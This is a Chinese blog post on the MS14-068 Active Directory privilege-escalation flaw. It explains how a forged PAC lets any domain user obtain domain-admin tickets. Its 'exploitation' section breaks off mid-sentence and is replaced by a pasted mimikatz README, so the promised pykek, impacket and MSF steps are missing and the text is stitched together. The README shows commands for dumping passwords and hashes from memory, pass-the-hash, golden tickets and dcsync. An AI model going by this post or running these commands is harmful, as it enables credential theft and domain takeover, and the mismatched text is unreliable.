AD域渗透 | MS14068漏洞原理及复现

本文详细介绍了MS14-068漏洞的原理,该漏洞允许非管理员提升至域管理员权限。通过分析PAC权限验证机制的漏洞,阐述了利用过程,包括使用pykek、impacket工具包和MSF进行渗透测试的步骤。同时,文中还提及了如何配置代理路由以进行内网渗透。
摘要由CSDN通过智能技术生成

漏洞编号MS14-068的漏洞,将允许任意用户提升到域管理员的权限,补丁编号则是KB3011780

原理分析

​ 在之前提到白银票据攻击的时候,我们仿佛默认了一个用户可以访问任何的服务。但事实上,往往我们需要控制一些账户使他们不能访问一些服务。这时微软引入了PAC的概念,PAC包含了用户的ID,组ID一类的认证信息。进一步的PAC的分析,请期待我之后会发布的Kerberos协议的抓包分析。如果现在就想要进一步了解请看文末的链接,将导向daiker大佬的文章

​ 在这里PAC权限验证机制产生漏洞的原因是,微软在设计PAC的时候规定了加密方式,但又允许了用户自定义加密方式,进而导致了用户可以伪造PAC;但是又由于PAC是放在TGT里面的,所以我们直接将PAC和密匙放在和TGT同结构体的aythenticator内容下。从而使KDC识别到PAC。

(名词解释,TGS其实是KDC下的一个模块,但由于TGS发回的票据没有像TGT一样的具体名称,大家就喜欢把他叫TGS,我在这里为方便区分,叫他ST(server ticket))

​ 总结原理

​ 1.向KDC下的AS发送一个不带PAC的AS_REQ

​ 2.AS返回你一个不带PAC的TGT

​ 3.制作一个管理员组权限的PAC,和TGT一起装在TGS_REQ中发给KDC下的TGS

​ 4.TGS误识别了你伪造的信息,并发给你发给你一个管理员权限的包含PAC的ST

​ 5.server拿到了ST,拆开ST,把其中的PAC发给TGS,TGS验证了权限之后,server向你提供管理员级别的服务

利用过程

pykek

全称是

mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes). If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases Quick usage log privilege::debug sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd kerberos kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi crypto crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export vault & lsadump vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local Build mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are: - for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914) - for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =) Synchronize! - GIT URL is : https://github.com/gentilkiwi/mimikatz.git - SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk - ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip Build the solution - After opening the solution, Build / Build Solution (you can change architecture) - mimikatz is now built and ready to be used! (Win32 / x64) - you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK. ddk2003 With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies) For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after. Follow instructions: - http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader Licence CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ Author - Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) - DCSync function in lsadump module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) This is a personal development, please respect its philosophy and don't use it for bad things!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值